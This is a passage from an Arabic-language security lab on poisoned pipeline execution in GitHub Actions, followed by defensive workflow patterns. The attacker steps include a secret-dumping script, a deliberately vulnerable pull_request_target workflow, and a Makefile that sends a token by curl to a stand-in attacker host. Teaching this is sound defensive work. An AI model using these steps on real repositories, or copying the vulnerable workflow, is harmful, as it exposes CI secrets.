fork:<\/p>\n<p><strong><code>test.sh<\/code><\/strong><\/p>\n<pre><code>#!\/bin\/bash\necho \"=== Environment Variables ===\"\nenv | sort\necho \"=== Secret Value ===\"\necho \"MY_SECRET=$MY_SECRET\"\n<\/code><\/pre>\n<p>\u0627\u0644\u0622\u0646 \u062d\u062f\u0651\u062b \u0633\u064a\u0631 \u0639\u0645\u0644 \u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0636\u062d\u064a\u0629 \u0644\u0627\u0633\u062a\u062f\u0639\u0627\u0621 \u0647\u0630\u0627 \u0627\u0644\u0633\u0643\u0631\u0628\u062a (\u0645\u062d\u0627\u0643\u0627\u0629 \u0633\u064a\u0631 \u0639\u0645\u0644 \u064a\u0646\u0641\u0630 \u0643\u0648\u062f\u0627\u064b \u0645\u0633\u062d\u0648\u0628\u0627\u064b):<\/p>\n<p><strong><code>.github\/workflows\/pr-check.yml<\/code><\/strong> (\u0645\u062d\u062f\u0651\u062b \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a):<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout PR code\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n\n      - name: Run tests\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          echo \"Running tests on PR code...\"\n          chmod +x test.sh\n          .\/test.sh\n<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3 &mdash; \u0641\u062a\u062d PR \u0648\u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629<\/h3>\n<p>\u0627\u0641\u062a\u062d PR \u0645\u0646 \u0627\u0644\u0640 fork. \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u064a\u0639\u0645\u0644 \u0645\u0646 \u062a\u0639\u0631\u064a\u0641 <strong>\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a<\/strong> \u0644\u0643\u0646\u0647 \u064a\u0633\u062d\u0628 <strong>\u0643\u0648\u062f \u0627\u0644\u0645\u0647\u0627\u062c\u0645<\/strong>. \u0627\u0644\u0633\u0643\u0631\u0628\u062a \u0627\u0644\u062e\u0628\u064a\u062b <code>test.sh<\/code> \u064a\u064f\u0646\u0641\u0630 \u0648\u064a\u0637\u0628\u0639 \u0642\u064a\u0645\u0629 \u0627\u0644\u0633\u0631.<\/p>\n<p>\u062a\u062d\u0642\u0642 \u0645\u0646 \u0633\u062c\u0644 Actions. \u0633\u062a\u0631\u0649:<\/p>\n<pre><code>=== Environment Variables ===\nGITHUB_TOKEN=ghs_xxxxxxxxxxxxxxxxxxxx\n...\n=== Secret Value ===\nMY_SECRET=super-secret-token-12345\n<\/code><\/pre>\n<p><strong>\u0647\u0630\u0627 \u0647\u0648 Poisoned Pipeline Execution \u0627\u0644\u0643\u0644\u0627\u0633\u064a\u0643\u064a.<\/strong> \u062a\u0639\u0631\u064a\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0645\u0648\u062b\u0648\u0642 (\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a)\u060c \u0644\u0643\u0646 <em>\u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0630\u064a \u064a\u0646\u0641\u0630\u0647<\/em> \u064a\u062a\u062d\u0643\u0645 \u0641\u064a\u0647 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 (\u0633\u062d\u0628 \u0641\u0631\u0639 PR).<\/p>\n<blockquote>\n<p><strong>\u0631\u0624\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629:<\/strong> \u0645\u0632\u064a\u062c <code>pull_request_target<\/code> + <code>actions\/checkout<\/code> \u0645\u0639 <code>ref: ${{ github.event.pull_request.head.sha }}<\/code> + \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f \u0645\u0633\u062d\u0648\u0628 + \u0623\u0633\u0631\u0627\u0631 \u0641\u064a \u0627\u0644\u0628\u064a\u0626\u0629 \u0647\u0648 \u0623\u062e\u0637\u0631 \u0646\u0645\u0637 PPE \u0641\u064a GitHub Actions.<\/p>\n<\/blockquote>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 3: Indirect PPE &mdash; \u062a\u0633\u0645\u064a\u0645 \u0633\u0643\u0631\u0628\u062a\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621<\/h2>\n<p>Indirect PPE \u0623\u0643\u062b\u0631 \u062f\u0642\u0629. \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0644\u0627 \u064a\u0644\u0645\u0633 \u0623\u0628\u062f\u0627\u064b \u0645\u0644\u0641 YAML \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 &mdash; \u0628\u0644 \u064a\u0639\u062f\u0644 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062a\u064a <em>\u064a\u0633\u062a\u0647\u0644\u0643\u0647\u0627<\/em> \u0627\u0644\u0640 pipeline. \u0647\u0630\u0627 \u064a\u062a\u062c\u0627\u0648\u0632 \u062d\u0645\u0627\u064a\u0629 \u0645\u0634\u063a\u0644 <code>pull_request<\/code> \u0627\u0644\u0645\u062f\u0645\u062c\u0629 \u0636\u062f \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0645\u0644\u0641\u0627\u062a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 1 &mdash; \u0625\u0646\u0634\u0627\u0621 \u0645\u0633\u062a\u0648\u062f\u0639 \u0628\u0628\u0646\u0627\u0621 \u0642\u0627\u0626\u0645 \u0639\u0644\u0649 Makefile<\/h3>\n<p>\u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639 <code>ppe-lab-victim<\/code>\u060c \u0623\u0636\u0641 <code>Makefile<\/code>:<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<p>\u062d\u062f\u0651\u062b \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0644\u0627\u0633\u062a\u062e\u062f\u0627\u0645 Makefile:<\/p>\n<p><strong><code>.github\/workflows\/build.yml<\/code><\/strong><\/p>\n<pre><code>name: Build\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - name: Checkout code\n        uses: actions\/checkout@v4\n\n      - name: Build project\n        run: make build\n\n      - name: Run tests\n        run: make test\n<\/code><\/pre>\n<p>\u0644\u0627\u062d\u0638 \u0623\u0646 \u0647\u0630\u0627 \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u0634\u063a\u0644 <code>pull_request<\/code> <strong>\u0627\u0644\u0622\u0645\u0646<\/strong>. \u0645\u0644\u0641 YAML \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0646\u0641\u0633\u0647 \u0645\u062d\u0645\u064a.<\/p>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 2 &mdash; \u062a\u0633\u0645\u064a\u0645 Makefile (\u0645\u0646\u0638\u0648\u0631 \u0627\u0644\u0645\u0647\u0627\u062c\u0645)<\/h3>\n<p>\u0641\u064a \u0627\u0644\u0640 fork\u060c \u0639\u062f\u0651\u0644 \u0641\u0642\u0637 <code>Makefile<\/code> (\u0644\u0627 \u062a\u0644\u0645\u0633 \u0623\u064a \u0645\u0644\u0641 \u0633\u064a\u0631 \u0639\u0645\u0644):<\/p>\n<pre><code>.PHONY: build test\n\nbuild:\n\t@echo \"Compiling project...\"\n\t@echo \"Build successful.\"\n\t@echo \"=== PPE: Dumping environment ===\"\n\t@env | sort\n\t@echo \"=== PPE: Exfiltrating token ===\"\n\t@curl -s http:\/\/attacker.example.com\/exfil?token=$$(cat $$GITHUB_TOKEN_PATH 2>\/dev\/null || echo none)\n\ntest:\n\t@echo \"Running unit tests...\"\n\t@echo \"All tests passed.\"\n<\/code><\/pre>\n<h3>\u0627\u0644\u062e\u0637\u0648\u0629 3 &mdash; \u0641\u062a\u062d PR \u0648\u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629<\/h3>\n<p>\u0627\u0641\u062a\u062d PR \u0645\u0646 \u0627\u0644\u0640 fork. \u0645\u0644\u0641 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0645\u0646 <strong>\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a<\/strong> \u064a\u0639\u0645\u0644 (\u0622\u0645\u0646!)\u060c \u0644\u0643\u0646 <code>actions\/checkout<\/code> \u064a\u0633\u062d\u0628 \u0643\u0648\u062f <strong>\u0641\u0631\u0639 PR<\/strong>\u060c \u0627\u0644\u0630\u064a \u064a\u062a\u0636\u0645\u0646 Makefile \u0627\u0644\u0645\u0633\u0645\u0645. \u0639\u0646\u062f\u0645\u0627 \u064a\u0633\u062a\u062f\u0639\u064a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 <code>make build<\/code>\u060c \u064a\u0646\u0641\u0630 Makefile \u0627\u0644\u0645\u0639\u062f\u0644 \u0645\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645.<\/p>\n<p>\u0641\u064a \u0633\u062c\u0644 Actions \u0633\u062a\u0631\u0649 \u0645\u062a\u063a\u064a\u0631\u0627\u062a \u0627\u0644\u0628\u064a\u0626\u0629 \u0645\u0637\u0628\u0648\u0639\u0629. \u0623\u0645\u0631 <code>curl<\/code> \u0633\u064a\u0641\u0634\u0644 (\u0627\u0644\u0646\u0637\u0627\u0642 \u063a\u064a\u0631 \u0645\u0648\u062c\u0648\u062f)\u060c \u0644\u0643\u0646 \u0641\u064a \u0647\u062c\u0648\u0645 \u062d\u0642\u064a\u0642\u064a \u0633\u064a\u0646\u062c\u062d.<\/p>\n<blockquote>\n<p><strong>\u0631\u0624\u064a\u0629 \u0623\u0633\u0627\u0633\u064a\u0629:<\/strong> \u0645\u0634\u063a\u0644 <code>pull_request<\/code> \u064a\u062d\u0645\u064a \u0645\u0644\u0641 YAML \u0644\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644\u060c \u0644\u0643\u0646\u0647 <strong>\u0644\u0627<\/strong> \u064a\u062d\u0645\u064a \u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u062f\u0639 \u0627\u0644\u0630\u064a \u064a\u0646\u0641\u0630\u0647 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644. \u0623\u064a \u0645\u0644\u0641 \u064a\u0634\u063a\u0644\u0647 \u0627\u0644\u0640 pipeline \u0623\u0648 \u064a\u0633\u062a\u0648\u0631\u062f\u0647 \u0623\u0648 \u064a\u062a\u0636\u0645\u0646\u0647 \u0647\u0648 \u0645\u062a\u062c\u0647 I-PPE \u0645\u062d\u062a\u0645\u0644: <code>Makefile<\/code>\u060c \u0633\u0643\u0631\u0628\u062a\u0627\u062a <code>package.json<\/code>\u060c <code>Dockerfile<\/code>\u060c <code>.eslintrc.js<\/code>\u060c <code>pytest.ini<\/code>\u060c \u0633\u0643\u0631\u0628\u062a\u0627\u062a shell\u060c \u0648\u0627\u0644\u0645\u0632\u064a\u062f.<\/p>\n<\/blockquote>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 4: \u0627\u0644\u062f\u0641\u0627\u0639 &mdash; \u0623\u0646\u0645\u0627\u0637 \u0633\u064a\u0631 \u0639\u0645\u0644 \u0622\u0645\u0646\u0629<\/h2>\n<p>\u0627\u0644\u0622\u0646 \u0628\u0639\u062f \u0623\u0646 \u0641\u0647\u0645\u062a \u0627\u0644\u0647\u062c\u0648\u0645\u060c \u0644\u0646\u0646\u0641\u0630 \u0627\u0644\u062f\u0641\u0627\u0639\u0627\u062a.<\/p>\n<h3>\u0627\u0644\u0646\u0645\u0637 1: \u0639\u062f\u0645 \u0633\u062d\u0628 PR Head \u0623\u0628\u062f\u0627\u064b \u0641\u064a \u0633\u064a\u0631 \u0639\u0645\u0644 <code>pull_request_target<\/code><\/h3>\n<p>\u0625\u0630\u0627 \u0643\u0627\u0646 \u064a\u062c\u0628 \u0639\u0644\u064a\u0643 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 <code>pull_request_target<\/code>\u060c \u0644\u0627 \u062a\u0633\u062d\u0628 \u0643\u0648\u062f PR \u0623\u0628\u062f\u0627\u064b. \u0627\u0639\u0645\u0644 \u0641\u0642\u0637 \u0639\u0644\u0649 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0648\u0635\u0641\u064a\u0629:<\/p>\n<pre><code>name: Label PR\n\non:\n  pull_request_target:\n    types: [opened]\n\njobs:\n  label:\n    runs-on: ubuntu-latest\n    steps:\n      # Safe: no checkout at all\n      - name: Add label\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            await github.rest.issues.addLabels({\n              owner: context.repo.owner,\n              repo: context.repo.repo,\n              issue_number: context.issue.number,\n              labels: ['needs-review']\n            });\n<\/code><\/pre>\n<p><strong>\u0627\u0644\u0642\u0627\u0639\u062f\u0629:<\/strong> \u0625\u0630\u0627 \u0644\u0645 \u064a\u0643\u0646 \u0633\u064a\u0631 \u0639\u0645\u0644 <code>pull_request_target<\/code> \u0628\u062d\u0627\u062c\u0629 \u0625\u0644\u0649 \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0645\u0635\u062f\u0631\u064a \u0644\u0640 PR\u060c \u0641\u0644\u0627 \u062a\u0633\u062d\u0628\u0647.<\/p>\n<h3>\u0627\u0644\u0646\u0645\u0637 2: \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0645\u0634\u063a\u0644 <code>pull_request<\/code> \u0648\u062d\u062c\u0628 \u0627\u0644\u0623\u0633\u0631\u0627\u0631<\/h3>\n<p>\u0644\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 PR\u060c \u0627\u0633\u062a\u062e\u062f\u0645 <code>pull_request<\/code> \u0648\u062a\u0623\u0643\u062f \u0645\u0646 \u0639\u062f\u0645 \u062a\u0645\u0631\u064a\u0631 \u0623\u064a \u0623\u0633\u0631\u0627\u0631 \u0644\u0644\u0645\u0647\u0645\u0629:<\/p>\n<pre><code>name: PR Validation\n\non:\n  pull_request:\n    branches: [main]\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    # No secrets referenced anywhere in this job\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Lint\n        run: npm run lint\n\n      - name: Unit tests\n        run: npm test\n<\/code><\/pre>\n<p>\u062d\u062a\u0649 \u0644\u0648 \u0639\u062f\u0651\u0644 \u0647\u062c\u0648\u0645 I-PPE \u0633\u0643\u0631\u0628\u062a\u0627\u062a <code>package.json<\/code>\u060c \u0644\u0646 \u064a\u062d\u0635\u0644 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u0639\u0644\u0649 \u0623\u064a \u0623\u0633\u0631\u0627\u0631 \u0644\u0623\u0646\u0647\u0627 \u063a\u064a\u0631 \u0645\u062a\u0648\u0641\u0631\u0629.<\/p>\n<h3>\u0627\u0644\u0646\u0645\u0637 3: \u0641\u0635\u0644 \u0633\u064a\u0631 \u0639\u0645\u0644 \u0627\u0644\u062a\u062d\u0642\u0642 \u0648\u0627\u0644\u0628\u0646\u0627\u0621<\/h3>\n<p>\u0642\u0633\u0651\u0645 CI \u0625\u0644\u0649 \u0645\u0631\u062d\u0644\u062a\u064a\u0646 &mdash; \u062e\u0637\u0648\u0629 \u062a\u062d\u0642\u0642 \u063a\u064a\u0631 \u0645\u0648\u062b\u0648\u0642\u0629 \u0648\u062e\u0637\u0648\u0629 \u0628\u0646\u0627\u0621 \u0645\u0648\u062b\u0648\u0642\u0629:<\/p>\n<pre><code># .github\/workflows\/validate.yml \u2014 runs on PRs, no secrets\nname: Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test-unit\n<\/code><\/pre>\n<pre><code># .github\/workflows\/build.yml \u2014 runs only on main, full secrets\nname: Build and Deploy\n\non:\n  push:\n    branches: [main]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n\n      - name: Build\n        env:\n          DEPLOY_TOKEN: ${{ secrets.DEPLOY_TOKEN }}\n        run: make build\n\n      - name: Deploy\n        run: make deploy\n<\/code><\/pre>\n<p>\u0627\u0644\u0623\u0633\u0631\u0627\u0631 \u0645\u062a\u0627\u062d\u0629 \u0641\u0642\u0637 \u0641\u064a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u0645\u064f\u0634\u063a\u0644 \u0628\u0648\u0627\u0633\u0637\u0629 push \u0625\u0644\u0649 <code>main<\/code>\u060c \u0645\u0645\u0627 \u064a\u062a\u0637\u0644\u0628 \u062f\u0645\u062c PR \u0623\u0648\u0644\u0627\u064b (\u0648\u0628\u0627\u0644\u062a\u0627\u0644\u064a \u0645\u0631\u0627\u062c\u0639\u062a\u0647 \u0648\u0627\u0644\u0645\u0648\u0627\u0641\u0642\u0629 \u0639\u0644\u064a\u0647).<\/p>\n<h3>\u0627\u0644\u0646\u0645\u0637 4: \u062a\u0642\u0644\u064a\u0644 \u0646\u0637\u0627\u0642 Token \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 <code>permissions<\/code><\/h3>\n<p>\u0642\u064a\u0651\u062f <code>GITHUB_TOKEN<\/code> \u0627\u0644\u062a\u0644\u0642\u0627\u0626\u064a \u0625\u0644\u0649 \u0627\u0644\u062d\u062f \u0627\u0644\u0623\u062f\u0646\u0649:<\/p>\n<pre><code>name: PR Check\n\non:\n  pull_request:\n    branches: [main]\n\npermissions: {}  # No permissions at all\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    permissions:\n      contents: read  # Only read access, nothing else\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make test\n<\/code><\/pre>\n<p>\u062d\u062a\u0649 \u0644\u0648 \u0633\u0631\u0651\u0628 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 <code>GITHUB_TOKEN<\/code>\u060c \u064a\u0645\u0643\u0646\u0647 \u0641\u0642\u0637 \u0642\u0631\u0627\u0621\u0629 \u0627\u0644\u0645\u062d\u062a\u0648\u0649 \u0627\u0644\u0639\u0627\u0645 &mdash; \u0644\u0627 \u064a\u0645\u0643\u0646\u0647 \u062f\u0641\u0639 \u0643\u0648\u062f\u060c \u0623\u0648 \u0625\u0646\u0634\u0627\u0621 \u0625\u0635\u062f\u0627\u0631\u0627\u062a\u060c \u0623\u0648 \u0627\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631.<\/p>\n<h3>\u0627\u0644\u0646\u0645\u0637 5: \u062a\u062b\u0628\u064a\u062a \u0627\u0644\u0633\u062d\u0628 \u0639\u0644\u0649 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0644\u0644\u0639\u0645\u0644\u064a\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629<\/h3>\n<p>\u0625\u0630\u0627 \u0643\u0627\u0646 \u064a\u062c\u0628 \u0639\u0644\u064a\u0643 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 <code>pull_request_target<\/code> \u0648\u062a\u062d\u062a\u0627\u062c \u0628\u0639\u0636 \u0633\u064a\u0627\u0642 PR\u060c \u0627\u0633\u062d\u0628 \u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a \u0644\u0644\u062e\u0637\u0648\u0627\u062a \u0627\u0644\u062d\u0633\u0627\u0633\u0629 \u0648\u0627\u0633\u062a\u062e\u062f\u0645 \u0641\u0642\u0637 \u0627\u0644\u0628\u064a\u0627\u0646\u0627\u062a \u0627\u0644\u0648\u0635\u0641\u064a\u0629 \u0644\u0640 PR:<\/p>\n<pre><code>name: Secure PR Check\n\non:\n  pull_request_target:\n    branches: [main]\n\njobs:\n  check:\n    runs-on: ubuntu-latest\n    steps:\n      # Check out the BASE branch (trusted code)\n      - name: Checkout base branch\n        uses: actions\/checkout@v4\n        with:\n          ref: ${{ github.event.pull_request.base.sha }}\n\n      - name: Run trusted build scripts\n        env:\n          MY_SECRET: ${{ secrets.MY_SECRET }}\n        run: |\n          # These scripts come from the base branch, not the PR\n          .\/scripts\/validate-pr.sh\n<\/code><\/pre>\n<p><strong>\u0627\u0644\u0642\u0627\u0639\u062f\u0629:<\/strong> \u0627\u0644\u0643\u0648\u062f \u0627\u0644\u0645\u0648\u062b\u0648\u0642 (\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0623\u0633\u0627\u0633\u064a) \u064a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0627\u0644\u0623\u0633\u0631\u0627\u0631. \u0627\u0644\u0643\u0648\u062f \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0648\u0642 (\u0641\u0631\u0639 PR) \u0644\u0627 \u064a\u0644\u0645\u0633\u0647\u0627 \u0623\u0628\u062f\u0627\u064b.<\/p>\n<h2>\u0627\u0644\u062a\u0645\u0631\u064a\u0646 5: \u0627\u0644\u062f\u0641\u0627\u0639 &mdash; \u0627\u0644\u062d\u0645\u0627\u064a\u0629 \u0636\u062f Indirect PPE<\/h2>\n<p>\u064a\u0635\u0639\u0628 \u0627\u0644\u062f\u0641\u0627\u0639 \u0636\u062f I-PPE \u0644\u0623\u0646 \u0627\u0644\u0645\u0647\u0627\u062c\u0645 \u064a\u0639\u062f\u0644 \u0645\u0644\u0641\u0627\u062a \u0639\u0627\u062f\u064a\u0629\u060c \u0648\u0644\u064a\u0633 \u062a\u0639\u0631\u064a\u0641\u0627\u062a \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644. \u0625\u0644\u064a\u0643 \u0627\u0644\u062a\u062f\u0627\u0628\u064a\u0631 \u0627\u0644\u0645\u0636\u0627\u062f\u0629 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\u0629.<\/p>\n<h3>CODEOWNERS \u0644\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062d\u0631\u062c\u0629 \u0644\u0644\u0628\u0646\u0627\u0621<\/h3>\n<p>\u0623\u0646\u0634\u0626 \u0645\u0644\u0641 <code>CODEOWNERS<\/code> \u064a\u062a\u0637\u0644\u0628 \u0645\u0631\u0627\u062c\u0639\u0629 \u0641\u0631\u064a\u0642 \u0627\u0644\u0623\u0645\u0627\u0646 \u0644\u0623\u064a \u062a\u063a\u064a\u064a\u0631\u0627\u062a \u0641\u064a \u0633\u0643\u0631\u0628\u062a\u0627\u062a \u0627\u0644\u0628\u0646\u0627\u0621:<\/p>\n<pre><code># .github\/CODEOWNERS\n\n# Build infrastructure \u2014 require security team review\nMakefile                    @myorg\/security-team\nDockerfile                  @myorg\/security-team\n.github\/workflows\/          @myorg\/security-team\nscripts\/                    @myorg\/security-team\npackage.json                @myorg\/security-team\n*.sh                        @myorg\/security-team\n<\/code><\/pre>\n<p>\u0628\u0627\u0644\u0627\u0642\u062a\u0631\u0627\u0646 \u0645\u0639 \u0642\u0648\u0627\u0639\u062f \u062d\u0645\u0627\u064a\u0629 \u0627\u0644\u0641\u0631\u0648\u0639 \u0627\u0644\u062a\u064a \u062a\u062a\u0637\u0644\u0628 \u0645\u0648\u0627\u0641\u0642\u0629 CODEOWNERS\u060c \u064a\u0645\u0646\u0639 \u0647\u0630\u0627 \u0627\u0644\u062a\u063a\u064a\u064a\u0631\u0627\u062a \u063a\u064a\u0631 \u0627\u0644\u0645\u0631\u0627\u062c\u0639\u0629 \u0639\u0644\u0649 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0627\u0644\u062d\u0631\u062c\u0629 \u0644\u0644\u0628\u0646\u0627\u0621 \u0645\u0646 \u0627\u0644\u062f\u0645\u062c.<\/p>\n<h3>\u0637\u0644\u0628 \u0627\u0644\u0645\u0648\u0627\u0641\u0642\u0629 \u0642\u0628\u0644 \u062a\u0634\u063a\u064a\u0644 CI \u0639\u0644\u0649 PRs \u0627\u0644\u062e\u0627\u0631\u062c\u064a\u0629<\/h3>\n<p>\u0627\u0630\u0647\u0628 \u0625\u0644\u0649 <strong>Settings &rarr; Actions &rarr; General<\/strong> \u0641\u064a \u0645\u0633\u062a\u0648\u062f\u0639\u0643 \u0648\u062a\u062d\u062a &#8220;Fork pull request workflows from outside collaborators&#8221; \u0627\u062e\u062a\u0631 <strong>&#8220;Require approval for all outside collaborators&#8221;<\/strong>. \u0647\u0630\u0627 \u064a\u0636\u0645\u0646 \u0623\u0646 \u064a\u0648\u0627\u0641\u0642 \u0645\u0634\u0631\u0641 \u0635\u0631\u0627\u062d\u0629 \u0639\u0644\u0649 \u062a\u0646\u0641\u064a\u0630 CI \u0644\u0643\u0644 PR \u062e\u0627\u0631\u062c\u064a.<\/p>\n<h3>\u0627\u0633\u062a\u062e\u062f\u0627\u0645 <code>workflow_run<\/code> \u0644\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0627\u0644\u0645\u0648\u062b\u0648\u0642\u0629 \u0628\u0639\u062f PR<\/h3>\n<p>\u062d\u062f\u062b <code>workflow_run<\/code> \u064a\u062a\u064a\u062d \u0644\u0643 \u062a\u0633\u0644\u0633\u0644 \u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644: \u0633\u064a\u0631 \u0639\u0645\u0644 \u0622\u0645\u0646 \u0628\u062f\u0648\u0646 \u0623\u0633\u0631\u0627\u0631 \u0644\u0640 PR \u064a\u0639\u0645\u0644 \u0623\u0648\u0644\u0627\u064b\u060c \u0648\u0639\u0646\u062f \u0646\u062c\u0627\u062d\u0647 \u0641\u0642\u0637 \u064a\u0639\u0645\u0644 \u0633\u064a\u0631 \u0639\u0645\u0644 \u0645\u0648\u062b\u0648\u0642 \u0628\u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0643\u0627\u0645\u0644\u0629.<\/p>\n<pre><code># .github\/workflows\/pr-validate.yml \u2014 untrusted, no secrets\nname: PR Validate\n\non:\n  pull_request:\n    branches: [main]\n\npermissions:\n  contents: read\n\njobs:\n  validate:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions\/checkout@v4\n      - run: make lint\n      - run: make test\n<\/code><\/pre>\n<pre><code># .github\/workflows\/pr-post-validate.yml \u2014 trusted, has secrets\nname: PR Post-Validate\n\non:\n  workflow_run:\n    workflows: [\"PR Validate\"]\n    types: [completed]\n\npermissions:\n  contents: read\n  pull-requests: write\n  statuses: write\n\njobs:\n  report:\n    runs-on: ubuntu-latest\n    if: ${{ github.event.workflow_run.conclusion == 'success' }}\n    steps:\n      # Check out the BASE branch \u2014 never the PR branch\n      - name: Checkout base\n        uses: actions\/checkout@v4\n\n      - name: Post status comment\n        uses: actions\/github-script@v7\n        with:\n          script: |\n            const runId = context.payload.workflow_run.id;\n            const prNumbers = context.payload.workflow_run.pull_requests.map(pr => pr.number);\n            for (const prNumber of prNumbers) {\n              await github.rest.issues.createComment({\n                owner: context.repo.owner,\n                repo: context.repo.repo,\n                issue_number: prNumber,\n                body: `Validation passed. Workflow run: ${runId}`\n              });\n            }\n<\/code><\/pre>\n<p>\u0633\u064a\u0631 \u0627\u0644\u0639\u0645\u0644 \u0627\u0644\u062b\u0627\u0646\u064a \u064a\u0639\u0645\u0644 \u0641\u064a \u0633\u064a\u0627\u0642 <strong>\u0627\u0644\u0641\u0631\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a<\/strong>\u060c \u0648\u0644\u062f\u064a\u0647 \u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0627\u0644\u0623\u0633\u0631\u0627\u0631\u060c \u0644\u0643\u0646\u0647 \u0644\u0627 \u064a\u0633\u062d\u0628 \u0623\u0628\u062f\u0627\u064b \u0643\u0648\u062f PR. \u0647\u0630\u0627 \u0647\u0648 \u0627\u0644\u0646\u0645\u0637 \u0627\u0644\u0623\u0643\u062b\u0631 \u0623\u0645\u0627\u0646\u0627\u064b \u0644\u0644\u0645\u0639\u0627\u0644\u062c\u0629 \u0628\u0639\u062f PR \u0627\u0644\u062a\u064a \u062a\u062d\u062a\u0627\u062c \u0635\u0644\u0627\u062d\u064a\u0627\u062a \u0645\u0631\u062a\u0641\u0639\u0629.<\/p>\n<h3>\u062a\u0634\u063a\u064a\u0644 \u0627\u0644\u0643\u0648\u062f \u063a\u064a\u0631 \u0627\u0644\u0645\u0648\u062b\u0648\u0642 \u0641\u064a \u062d\u0627\u0648\u064a\u0627\u062a \u0645\u0639\u0632\u0648\u0644\u0629<\/h3>\n<p>\u0625\u0630\u0627 \u0643\u0627\u0646 \u064a\u062c\u0628 \u0639\u0644\u064a\u0643 \u062a\u0646\u0641\u064a\u0630 \u0643\u0648\u062f PR \u0645\u0639 \u0623\u064a \u0634\u0643\u0644 \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u0648\u0635\u0648\u0644\u060c \u0634\u063a\u0651\u0644\u0647 \u0641\u064a \u062d\u0627\u0648\u064a\u0629 \u0645\u0642\u064a\u062f\u0629:<\/p>\n<pre><code>jobs:\n  sandbox-test:\n    